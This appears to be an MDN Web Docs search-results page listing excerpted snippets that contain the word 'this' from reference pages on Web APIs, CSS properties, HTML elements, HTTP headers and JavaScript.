...— 59disabled disabled until version 59 (exclusive):
this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 3 more matches
SourceBuffer.mode - Web APIs
segment timestamps are generated automatically for the segments that observe
this order.
...it just means the play order will be fixed, and new timestamps generated to reflect
this.
...
this property cannot be changed during while the sourcebuffer is processing either an appendbuffer() or remove() call.
...And 3 more matches
SpeechRecognition - Web APIs
the speechrecognition interface of the web speech api is the controller interface for the recognition service;
this also handles the speechrecognitionevent sent from the recognition service.
...if not specified,
this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...And 3 more matches
SubtleCrypto.sign() - Web APIs
if algorithm identifies a public-key cryptosystem,
this is the private key.
... the fourth algorithm — hmac — uses the same algorithm and key for signing and for verification:
this means that the verification key must be kept secret, which in turn means that
this algorithm is not suitable for many signature use cases.
... rsassa-pkcs1-v1_5
this code fetches the contents of a text box, encodes it for signing, and signs it with a private key.
...And 3 more matches
SubtleCrypto.wrapKey() - Web APIs
this means that it exports the key in an external, portable format, then encrypts the exported key.
...
this is sometimes called the "wrapping key".
... raw wrap
this example wraps an aes key.
...And 3 more matches
TextRange - Web APIs
ie only
this property is ie specific.
... although it is well supported by ie, most other browsers no longer support
this property.
...
this property should only be used as one of the solutions when you need to be compatible with lower versions of ie, rather than relying on it completely in cross browser scripts.
...And 3 more matches
TextTrack.mode - Web APIs
you can read
this value to determine the current mode, and you can change
this value to switch modes.
...
this is the default value, unless the text track has the default boolean attribute is specified, in which case the default is showing.
...
this is the default value if the text track's default boolean attribute is specified.
...And 3 more matches
TextTrack - Web APIs
properties
this interface also inherits properties from eventtarget.
...if it doesn't have an id, then
this value is an empty string ("").
... texttrack.label read only a human-readable domstring which contains the text track's label, if one is present; otherwise,
this is an empty string (""), in which case a custom label may need to be generated by your code using other attributes of the track, if the track's label needs to be exposed to the user.
...And 3 more matches
TouchEvent.metaKey - Web APIs
if
this key is enabled, the attribute's value is true.
...
this property is read only .
... note: on macintosh keyboards,
this is the ⌘ command key.
...And 3 more matches
TransformStream - Web APIs
l) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk)
this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk)
this.transform(json.stringify(chunk), controller) break case 'symbol': controller.error("cannot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(
this.textencoder.enc...
...ode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that
this is deprecated by the native constructors.
...
this is intended as a polyfill for unsupported platforms.
...And 3 more matches
USBInterface - Web APIs
properties usbinterface.interfacenumberread only returns the interface number of
this interface.
...
this is equal to the binterfacenumber field of the interface descriptor defining
this interface.
... usbinterface.alternateread only returns the currently selected alternative configuration of
this interface.
...And 3 more matches
VisualViewport - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the relevant oneventname property of
this interface.
... examples hiding an overlaid box on zoom
this example, taken from the visual viewport readme, shows how to write a simple bit of code that will hide an overlaid box (which might contain an advert, say) when the user zooms in.
...
this is a nice way to improve the user experience when zooming in on pages.
...And 3 more matches
Visual Viewport API - Web APIs
current browsers vary in how they handle
this.
... the visual viewport lets web developers solve
this by positioning elements relative to what's shown on screen.
...if
this property doesn't exist, the api is unsupported.
...And 3 more matches
Clearing with colors - Web APIs
this only changes some internal state of webgl, but does not draw anything yet.
...
this is typical of how drawing is done with webgl.
...
this is why webgl/opengl is often called a state machine.
...And 3 more matches
Raining rectangles - Web APIs
animation and user interaction with scissoring
this is a simple game.
...in
this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable.
...
this example combines clearing the drawing buffer with solid colors and scissoring operations.
...And 3 more matches
Animating textures in WebGL - Web APIs
« previous in
this demonstration, we build upon the previous example by replacing our static textures with the frames of an mp4 video file that's playing.
...
this is actually pretty easy to do and fun to watch, so let's get started.
...
this example uses the glmatrix library to perform its matrix and vertex math.
...And 3 more matches
WebXR application life cycle - Web APIs
in
this guide, we'll get a birds-eye view of what's involved in creating and driving a webxr application, without diving down to the code level in detail.
...
this serves as preparation for the next few articles in these webxr guides, which cover starting up and shutting down a webxr session, geometry, simulating cameras, spatial tracking, and more.
...
this is done by calling navigator.xr.requestsession(), again specifying the string indicating the mode you want to enable: inline, immersive-vr, or immersive-ar.
...And 3 more matches
Attestation and Assertion - Web APIs
this attestation format is commonly found in desktop computers and is used by windows hello as its preferred attestation format.
... android safetynet -prior to android key attestation, the only option for android devices was to create android safetynet attestations fido u2f - security keys that implement the fido u2f standard use
this format none - browsers may prompt users whether they want a site to be allowed to see their attestation data and/or may remove attestation data from the authenticator's response if the `attestation` parameter in `navigator.credentials.create()` is set to `none` the purpose of attestation is to cryptographically prove that a newly generated key pair came from a specific device.
...
this provides a root of trust for a newly generated key pair as well as being able to identify the attributes of a device being used (how the private key is protected; if / what kind of biometric is being used; whether a device has been certified; etc.).
...And 3 more matches
Web Locks API - Web APIs
}); while a lock is held, requests for the same lock from
this execution context, or from other tabs/workers, will be queued.
...
this can be used to implement the readers-writer pattern.
...
this can be used to implement a timeout on requests.
...And 3 more matches
Window: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
...And 3 more matches
Window: beforeunload event - Web APIs
the document is still visible and the event is still cancelable at
this point.
... bubbles no cancelable yes interface event event handler property onbeforeunload
this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page.
... however note that not all browsers support
this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string from the event handler.
...And 3 more matches
Window.devicePixelRatio - Web APIs
this value could also be interpreted as the ratio of pixel sizes: the size of one css pixel to the size of one physical pixel.
... in simpler terms,
this tells the browser how many of the screen's actual pixels should be used to draw a single css pixel.
...
this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, which use more screen pixels to draw the same objects, resulting in a sharper image.
...And 3 more matches
WorkerNavigator - Web APIs
this property is kept only for compatibility purposes.
...do not rely on
this property to return the correct value.
...do not rely on
this property to return the correct value.
...And 3 more matches
XRInputSourceArray.forEach() - Web APIs
syntax xrinputsourcearray.foreach(callback,
thisarg); parameters callback a function to execute once for each entry in the array xrinputsourcearray.
...if you don't need to know the index number, you can omit
this.
...if you don't need
this information, you may omit
this.
...And 3 more matches
XRRigidTransform.matrix - Web APIs
thus, for an array [a0, a1, a2, ..., a13, a14, a15], the matrix looks like
this: [a[0]a[4]a[8]a[12]a[1]a[5]a[9]a[13]a[2]a[6]a[10]a[14]a[3]a[7]a[11]a[15]]\begin{bmatrix} a[0] & a[4] & a[8] & a[12]\\ a[1] & a[5] & a[9] & a[13]\\ a[2] & a[6] & a[10] & a[14]\\ a[3] & a[7] & a[11] & a[15]\\ \end{bmatrix} the first time matrix is requested, it gets computed; after that, it's should be cached to avoid slowing down to compute it every time you need it.
... creating the matrix in
this section, intended for more advanced readers, we cover how the api calculates the matrix for the specified transform.
... it begins by allocating a new matrix and writing a 4x4 identity matrix into it: [1000010000100001]\begin{bmatrix} 1 & 0 & 0 & 0\\ 0 & 1 & 0 & 0\\ 0 & 0 & 1 & 0\\ 0 & 0 & 0 & 1 \end{bmatrix}
this is a transform that will not change either the orientation or position of any point, vector, or object to which it's applied.
...And 3 more matches
XRSession.onsqueeze - Web APIs
examples handling squeeze events for a specific hand
this snippet of code adds a simple handler for the squeeze event, which responds only to events on the user's off-hand (that is, the hand that isn't their dominant hand).
...
this is determined by comparing the input source's handedness against the value of a handedness property on a user object we've established previously.
... xrsession.onsqueeze = event => { if (event.inputsource.handedness != user.handedness) { handleoffhandsqueeze(event.inputsource, event.frame); } }; finishing an ongoing squeeze action
this example exapnds somewhat on the previous example by demonstrating a way to implement the ability for the user to drop an object that was previously picked up by the user..
...And 3 more matches
XRSession.onsqueezeend - Web APIs
this is sent immediately after the squeeze event, which announces the successful completion of the squeeze action.
... examples
this snippet of code adds a simple handler for the squeezeend event, which responds only to events on the user's dominant hand.
... in response to the end of the squeeze operation,
this code looks to see if there is an object currently being held by the user by checking to see if the variable user.heldobject contains a reference to an object representing the held item.
...And 3 more matches
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using
this role or attribute.
... <div role="tablist"> <div role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id" tabindex="0">tab label</div> accessibility concerns optionally, warn of any potential accessibility concerns that exist with using
this property, and how to work around them.
... remove
this section if there are none to list.
...And 3 more matches
ARIA: Region role - Accessibility
developers should always prefer using the correct semantic html element, in
this case <section>, over using aria.
... associated wai-aria roles, states, and properties aria-labelledby use
this attribute to label the region.
... examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">
this heading's <code>id</code> attribute helps
this region have an accessible name</h2> <!-- region content --> </div> accessibility concerns use sparingly!
...And 3 more matches
ARIA: button role - Accessibility
this role can be used in combination with the aria-pressed attribute to create toggle buttons.
...for most buttons,
this name will be the same as the text inside the button.
...because of
this, separate key event handlers must be added to the element so that the button is be triggered when the space or enter key is pressed.
...And 3 more matches
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "ltr".
... note:
this selector is mainly used by extensions and themes to adapt the user interface based on the user's locale.
... (
this can vary from window to window, and even from tab to tab.) it also allows extensions to work even when they don't support the user's default locale, since they can support both left-to-right and right-to-left layouts regardless of locale specifics.
...And 3 more matches
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "rtl".
... note:
this selector is mainly used by extensions and themes to adapt the user interface based on the user's locale.
... (
this can vary from window to window, and even from tab to tab.) it also allows extensions to work even when they don't support the user's default locale, since they can support both left-to-right and right-to-left layouts regardless of locale specifics.
...And 3 more matches
Using URL values for the cursor property - CSS: Cascading Style Sheets
this allows specifying arbitrary images as mouse cursors — any image format supported by gecko can be used.
... syntax the basic (css 2.1) syntax for
this property is: cursor: [ <url> , ]* <keyword>
this means that zero or more urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer.
... for example, the following value would be allowed: cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
this will first try loading foo.cur.
...And 3 more matches
CSS values and units - CSS: Cascading Style Sheets
for example, the value of grid-area can be a <custom-ident>, so if we had a grid area named content we would use it without quotes: .item { grid-area: content; } in comparison, a data type that is a <string>, such as a string value of the content property, must be quoted: .item::after { content: "
this is my content."; } while you can generally create any name you want, including using emojis, the identifier can't be none, unset, initial, or inherit, start with a digit or two dashes, and generally you don't want it to be any other pre-defined css keyword.
...
this may be an absolute url or a relative url.
... distance units where a distance unit, also known as a length, is allowed as a value for a property,
this is described as the <length> type.
...And 3 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
this article explains what the cascade is, the order in which css declarations cascade, and how
this affects you, the web developer.
...
this means that at-rules containing entities other than declarations, such as a @font-face rule containing descriptors, don't participate in the cascade.
... though style sheets come from these different origins, they overlap in scope; to make
this work, the cascade algorithm defines how they interact.
...And 3 more matches
Pagination - CSS: Cascading Style Sheets
this cookbook pattern demonstrates the navigation pattern used to display pagination, where the user can move between pages of content such as search results.
... recipe download
this example choices made
this pattern is laid out using flexbox — one flex container nested inside another.
... alternative methods once the column-gap property has implementation in browsers
this could be used instead of margins to space out the items.
...And 3 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
to do
this, use the window.matchmedia method.
...to do
this, call the addlistener() method on the mediaquerylist object, with a callback function to invoke when the media query status changes (e.g., the media query test goes from true to false): // create the query list.
...mediaquerylist.addlistener(handleorientationchange);
this code creates the orientation-testing media query list, then adds an event listener to it.
...And 3 more matches
Syntax - CSS: Cascading Style Sheets
the css syntax reflects
this goal and its basic building blocks are: the property which is an identifier, that is a human-readable name, that defines which feature is considered.
... css allows
this by associating conditions with declarations blocks.
... as an element of the page may be matched by several selectors, and therefore by several rules potentially containing a given property several times, with different values, the css standard defines which one has precedence over the other and must be applied:
this is called the cascade algorithm.
...And 3 more matches
animation-direction - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is the default value.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 3 more matches
<blend-mode> - CSS: Cascading Style Sheets
this blend mode is equivalent to hard-light but with the layers swapped.
...
this blend mode is similar to screen, but the foreground need only be as light as the inverse of the backdrop to create a fully lit color.
...
this blend mode is similar to multiply, but the foreground need only be as dark as the inverse of the backdrop to make the final image black.
...And 3 more matches
border-image - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...indeed,
this is required according to the specification, although not all browsers implement
this requirement.
... constituent properties
this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere from one to five of the values listed below.
...And 3 more matches
box-shadow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... <blur-radius>
this is a third <length> value.
... the larger
this value, the bigger the blur, so the shadow becomes bigger and lighter.
...And 3 more matches
calc() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...calc-sum> = <calc-product> [ [ '+' | '-' ] <calc-product> ]*where <calc-product> = <calc-value> [ '*' <calc-value> | '/' <number> ]*where <calc-value> = <number> | <dimension> | <percentage> | ( <calc-sum> ) accessibility concerns when calc() is used for controlling text size, be sure that one of the values includes a relative length unit, for example: h1 { font-size: calc(1.5rem + 3vw); }
this ensures that text size will scale if the page is zoomed.
...for example: .modal { z-index: calc(3 / 2); }
this will give .modal a final z-index value of 2.
...And 3 more matches
caption-side - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this value was proposed for css 2, but removed from the final css 2.1 specification.
...
this value was proposed for css 2, but removed from the final css 2.1 specification.
...And 3 more matches
<display-box> - CSS: Cascading Style Sheets
due to a bug in browsers
this will currently remove the element from the accessibility tree — screen readers will not look at what's inside.
...
this will cause the element — and in some browser versions, its descendant elements — to no longer be announced by screen reading technology.
...
this is incorrect behavior according to the csswg specification.
...And 3 more matches
font-stretch - CSS: Cascading Style Sheets
t-stretch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; /* percentage values */ font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* global values */ font-stretch: inherit; font-stretch: initial; font-stretch: unset; syntax
this property may be specified as a single keyword value or a single <percentage> value.
...negative values are not allowed for
this property.
...
this enables variable fonts to offer something more like a continuum of character widths.
...And 3 more matches
font-variant-numeric - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...es> */ font-variant-numeric: tabular-nums; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-fractions; /* <numeric-fraction-values> */ font-variant-numeric: stacked-fractions; /* <numeric-fraction-values> */ font-variant-numeric: oldstyle-nums stacked-fractions; /* global values */ font-variant-numeric: inherit; font-variant-numeric: initial; font-variant-numeric: unset;
this property can take one of two forms: either the keyword value normal or one or more of the other values listed below, space-separated, in any order.
... values normal
this keyword leads to the deactivation of the use of such alternate glyphs.
...And 3 more matches
font-variant - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
...And 3 more matches
font-variation-settings - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values
this property's value can take one of two forms: normal text is laid out using default settings.
... description
this property is a low-level mechanism designed to set variable font features where no other way to enable or access those features exist.
...And 3 more matches
grid-area - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: grid-column-end grid-column-start grid-row-end grid-row-start syntax /* keyword values */ grid-area: auto; grid-area: auto / auto; grid-area: auto / auto / auto; grid-area: auto / auto / auto / auto; /* <custom-ident> values */ grid-area: some-grid-area; grid-area: some-grid-area / another-grid-area; /* <integer> && <custom-iden...
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-area: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 3 more matches
grid-column - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: grid-column-end grid-column-start syntax
this property is specified as one or two <grid-line> values.
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-column: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 3 more matches
grid-row-start - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...t: auto; /* <custom-ident> values */ grid-row-start: somegridarea; /* <integer> + <custom-ident> values */ grid-row-start: 2; grid-row-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-start: span 3; grid-row-start: span somegridarea; grid-row-start: 5 somegridarea span; /* global values */ grid-row-start: inherit; grid-row-start: initial; grid-row-start: unset;
this property is specified as a single <grid-line> value.
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-row-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
...And 3 more matches
grid-row - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: grid-row-end grid-row-start syntax /* keyword values */ grid-row: auto; grid-row: auto / auto; /* <custom-ident> values */ grid-row: somegridarea; grid-row: somegridarea / someothergridarea; /* <integer> + <custom-ident> values */ grid-row: somegridarea 4; grid-row: 4 somegridarea / 6; /* span + <integer> + <custom-ident> values */ grid-row: span 3; grid-row: span somegridarea;...
... note: named grid areas automatically generate implicit named lines of
this form, so specifying grid-row: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 3 more matches
list-style-position - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note:
this property is applied to list items, i.e., elements with display: list-item;.
... by default
this includes <li> elements.
...And 3 more matches
margin-left - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is called margin collapsing.
...
this table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except...
...And 3 more matches
margin-right - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is called margin collapsing.
...
this table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except...
...And 3 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
{{embedinteractiveexample("pages/css/function-repeating-conic-gradient.html")}} the source for
this interactive example is stored in a github repository.
...for
this reason, repeating-conic-gradient() won't work on background-color and other properties that use the <color> data type.
...browsers supporting repeating conic gradients also accept percent values, with 100% equaling 360 degrees, but
this is not in the specification.
...And 3 more matches
scroll-margin - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: scroll-margin-bottom scroll-margin-left scroll-margin-right scroll-margin-top syntax /* <length> values */ scroll-margin: 10px; scroll-margin: 1em .5em 1em 1em; /* global values */ scroll-margin: inherit; scroll-margin: initial; scroll-margin: unset; values <length> an outset from the corresponding edge of the scroll container.
... thus, the scroll-margin values represent outsets defining the scroll snap area that is used for snapping
this box to the snapport.
...And 3 more matches
shape-outside - CSS: Cascading Style Sheets
by default, inline content wraps around its margin box; shape-outside provides a way to customize
this wrapping, making it possible to wrap text around complex objects rather than simple boxes.
... the source for
this interactive example is stored in a github repository.
...
this can be margin-box, border-box, padding-box, or content-box.
...And 3 more matches
text-decoration - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this means that if an element specifies a text decoration, then a child element can't remove the decoration.
... for example, in the markup <p>
this text has <em>some emphasized words</em> in it.</p>, the style rule p { text-decoration: underline; } would cause the entire paragraph to be underlined.
...And 3 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
... ondemand profile
this profile will allow switching between streams 'on demand' - that is to say that you only need provide a set of contiguous files and specify the bandwidth for each one and the appropriate file will be chosen automatically.
...
this uses mp4box to encode media into mpeg-dash format.
...And 3 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes
this element's attributes include the global attributes.
... note:
this attribute is obsolete and should not be used by authors.
...And 3 more matches
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
this was formerly known as the boldface element, and most browsers still draw the text in boldface.
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...And 3 more matches
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for
this element.
... attributes
this element's attributes include the global attributes.
...And 3 more matches
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
this tag has been deprecated in html 4 (and xhtml 1) in favor of the css text-align property, which can be applied to the <div> element or to an individual <p>.
... dom interface
this element implements the htmlelement interface.
... implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for
this element.
...And 3 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
dom interface htmlcommandelement attributes
this element includes the global attributes.
... radiogroup
this attribute gives the name of the group of commands, with a type of radio, that will be toggled when the command itself is toggled.
...
this attribute must be omitted unless the type attribute is radio.
...And 3 more matches
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes
this element includes the global attributes.
... disabled if
this boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable and won't be submitted along with the <form>.
...And 3 more matches
<font> - HTML: Hypertext Markup Language
usage note: do not use
this element!
... attributes like all other html elements,
this element supports the global attributes.
... color
this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
...And 3 more matches
<ins> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlmodelement attributes
this element includes the global attributes.
... cite
this attribute defines the uri of a resource that explains the change, such as a link to meeting minutes or a ticket in a troubleshooting system.
...And 3 more matches
<isindex> - HTML: Hypertext Markup Language
attributes like all other html elements,
this element accepted the global attributes.
... prompt
this attribute added its value as a prompt for text field.
... action
this attribute determined the server url to which the query was sent.
...And 3 more matches
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role progressbar permitted aria roles no role permitted dom interface htmlprogresselement attributes
this element includes the global attributes.
... max
this attribute describes how much work the task indicated by the progress element requires.
...And 3 more matches
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
most modern browsers implement
this by surrounding the text in quotation marks.
...
this element is intended for short quotations that don't require paragraph breaks; for long quotations use the <blockquote> element.
... the source for
this interactive example is stored in a github repository.
...And 3 more matches
<spacer> - HTML: Hypertext Markup Language
attributes like all other html elements,
this element supports the global attributes.
... type
this attribute determines type of spacer.
... size
this attribute can be used for defining size of spacer in pixels when type is horizontal or vertical.
...And 3 more matches
<time> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmltimeelement attributes like all other html elements,
this element supports the global attributes.
... datetime
this attribute indicates the time and/or date of the element and must be in one of the formats described below.
...And 3 more matches
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltrackelement attributes
this element includes the global attributes.
... default
this attribute indicates that the track should be enabled unless the user's preferences indicate that another track is more appropriate.
...And 3 more matches
Global attributes - HTML: Hypertext Markup Language
this attribute consists of a space-separated list of characters.
... contextmenu the id of a <menu> to use as the contextual menu for
this element.
...it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged move, which indicates that the element that was dragged will be moved to
this new location.
...And 3 more matches
Compression in HTTP - HTTP
if text can typically have as much as 60% redundancy,
this rate can be much higher for some other media like audio and video.
...engineers designed the optimized compression algorithm used by file formats designed for
this specific purpose.
...there are numerous tools that are specialized for
this.
...And 3 more matches
Content-Encoding - HTTP
the recommendation is to compress data as much as possible and therefore to use
this field, but some types of resources, such as jpeg images, are already compressed.
...
this is the original format of the unix gzip program.
... the http/1.1 standard also recommends that the servers supporting
this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
...And 3 more matches
CSP: default-src - HTTP
for each of the following directives that are absent, the user agent looks for the default-src directive and uses
this value for it: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name ...
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 3 more matches
CSP: prefetch-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 3 more matches
CSP: script-src-elem - HTTP
if
this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 3 more matches
CSP: style-src-attr - HTTP
if
this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fallback to default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 3 more matches
CSP: style-src-elem - HTTP
if
this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fallback to default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 3 more matches
Feature-Policy: geolocation - HTTP
when
this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' callbacks to be invoked with a positionerror code of permission_denied.
...
this directive allows or prevents cross-origin frames from accessing geolocation.
...
this includes same-origin frames.
...And 3 more matches
Public-Key-Pins - HTTP
max-age=<expire-time> the time, in seconds, that the browser should remember that
this site is only to be accessed using one of the defined keys.
... includesubdomains optional if
this optional parameter is specified,
this rule applies to all of the site's subdomains as well.
... report-uri="<uri>" optional if
this optional parameter is specified, pin validation failures are reported to the given url.
...And 3 more matches
HTTP range requests - HTTP
you can check
this by issuing a head request with curl, for example.
...accept-ranges: bytes content-length: 146515 in
this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range.
...the "-h" option will append a header line to the request, which in
this case is the range header requesting the first 1024 bytes.
...And 3 more matches
CSS Houdini
<script> css.paintworklet.addmodule('csscomponent.js'); </script>
this added module contains registerpaint() functions, which register completely configurable worklets.
... start by reading houdini, an introduction —
this provides a brief history of houdini and an overview of its many features.
... no guide or reference has currently been written for
this api.
...And 3 more matches
Text formatting - JavaScript
« previousnext »
this chapter introduces how to work with strings and text in javascript.
... caution: if you edit
this page, do not include any characters above u+ffff, until mdn bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ).
...you can't change individual characters because strings are immutable array-like objects: const hello = 'hello, world!'; const hellolength = hello.length; hello[0] = 'l'; //
this has no effect, because strings are immutable hello[0]; //
this returns "h" characters whose unicode scalar values are greater than u+ffff (such as some rare chinese/japanese/korean/vietnamese characters and some emoji) are stored in utf-16 with two surrogate code units each.
...And 3 more matches
SyntaxError: illegal character - JavaScript
the javascript exception "illegal character" occurs when there is an invalid or unexpected token that doesn't belong at
this position in the code.
... there is an invalid or unexpected token that doesn't belong at
this position in the code.
...famous examples of
this are quotes, the minus or semicolon (greek questionmark (u+37e) looks same).
...And 3 more matches
Array.prototype.flatMap() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax var new_array = arr.flatmap(function callback(currentvalue[, index[, array]]) { // return element for new_array }[,
thisarg]) parameters callback function that produces an element of the new array, taking three arguments: currentvalue the current element being processed in the array.
...
thisargoptional value to use as
this when executing callback.
